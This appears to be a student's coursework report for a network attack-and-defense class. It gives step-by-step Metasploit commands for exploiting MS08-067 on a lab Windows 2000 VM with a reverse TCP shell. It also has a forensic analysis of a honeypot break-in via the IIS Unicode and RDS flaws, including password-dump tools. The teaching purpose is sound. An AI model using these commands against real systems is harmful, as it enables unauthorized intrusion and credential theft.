20222937 2022-2023-4 《网络攻防实践》第六周作业

20222937 2022-2023-4 《网络攻防实践》第六周作业

1.实践内容

（1）动手实践Metasploit windows attacker

任务：使用metasploit软件进行windows远程渗透统计实验

具体任务内容：使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击，获取目标主机的访问权

（2）取证分析实践：解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net)，要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么

（3）团队对抗实践：windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击，获得控制权。（要求写出攻击方的同学信息、使用漏洞、相关IP地址等）

防守方使用wireshark监听获得的网络数据包，分析攻击过程，获取相关信息。

2.实践过程

2.1 动手实践Metasploit windows attacker

设备 IP地址

主机	IP地址
Kali（攻击机）	192.168.200.4
Win2k （靶机）	192.168.200.125

在Kali虚拟机中启动Metasploit
service postgresql start //启动PostgreSQL服务
msfdb init //初始化Metasploit PostgreSQL数据库
msfconsole //启动metasploit

使用命令search ms08_067搜寻漏洞情况

使用命令use windows/smb/ms08_067_netapi表明将ms08_067作为目标漏洞
使用命令show payloads查看有效的攻击载荷

使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接

使用命令show options查看需要设置的参数，即攻击机与靶机的IP地址。

使用命令set LHOST 192.168.200.4设置攻击机Kali；

使用命令set RHOST 192.168.200.125设置靶机Win2k

使用命令show targets查看可设置的操作系统类型

使用命令set TARGET 0表示自动识别。

输入命令exploit开始渗透，输入ipconfig可以查看靶机自己的IP地址，攻击成功

2.2 取证分析实践：解码一次成功的NT系统破解攻击

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net)，要求提取并分析攻击的全部过程。

用Wireshark打开二进制文件，通过"ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106"对数据包进行过滤，可以看到攻击机与靶机在TCP"三次握手"后建立了连接，同时发现靶机的操作系统为windows NT 5.0，攻击机还访问了http://lab.wiretrip.net/Default.htm。

可以从追踪的包中找到包含/…%C0%AF…/的字符，说明攻击者利用了IIS Unicode漏洞进行了攻击。

追踪第149号数据流，可以看到出现了类似于shell(“cmd /c echo”)的字符，说明攻击者通过shell指令对目标进行操作，进一步分析得知，还利用了RDS漏洞允许任意代码执行的缺陷进行了操作。

攻击者使用了什么破解工具进行攻击？
上述指令均采用了Microsoft Access Driver (*.mdb)的驱动，使用了c:\winnt\help\iis\htm\tutorial\btcustmr.mdb这个dbq文件。根据ADM!ROX!YOUR!WORLD这个特征字符串，查询得知攻击者应该是利用了由rain forest puppy所编写的 msadc(2).pl渗透攻击代码发起的攻击。

攻击者如何使用这个破解工具进入并控制了系统？
观察发现，每一次的攻击时间都很短，可见攻击者应该是先将指令写入了shell脚本，然后将这个脚本与msadc.pl攻击脚本一起执行的。
由上面的第一段shell命令可以看出，攻击者打开主机后，使用FTP的方式下载文件，使用samdunp拿到口令，再利用pdump.exe破解。在第四次破解，也就是打开IP地址为213.116.251.162的主机后，攻击者成功拿到了访问权限。

攻击者获得系统访问权限后做了什么？
攻击者获得了IWAM_KENNY和IUSR_KENNY的账号，并试图获取本地Administrator用户权限。
为此，攻击者将破解的口令写入了yay.txt中，将用户写入到hec.txt文件中。还试图删除和拷贝har.txt文件。

我们如何防止这样的攻击？
1.设置复杂的口令并定期更换，加大口令被破译的难度。
2.设备要定期检测以及修复漏洞，及时安装补丁。

你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么？
追踪174号TCP流tcp.stream eq 174，发现攻击者发送了这样一段命令，可以看出攻击者知道是蜜罐主机了

2.3 团队对抗实践：windows系统远程渗透攻击和分析

在进行这部分实验时用到的攻击机和靶机IP地址：

主机	IP地址
攻击机	192.168.200.4
靶机	192.168.200.6

将ms08_067作为漏洞进行攻击。

执行指令net user：

3.实践过程

• 问题：第一次实验时设置攻击机与靶机地址使用命令错误，导致配置失败
• 问题解决方案：区分命令设置的地址：set LHOST设置的是攻击主机的地址；set RHOST设置的是靶机的地址。

4.学习感悟、思考等）

随着网络攻击和防御技术的日益演进，新型的网络攻击方式层出不穷，给网络安全带来了极大的挑战。我们在使用操作系统时，一定要及时更新安全补丁，以及时防御对手的攻击。
通过本次实践对Windows的攻防有了基本的了解，能够进行一些简单的漏洞攻击，但对于一些原理上的内容还是理解的不够透彻。很多分析还比较浅显，还是要多寻找相关资料进行学习。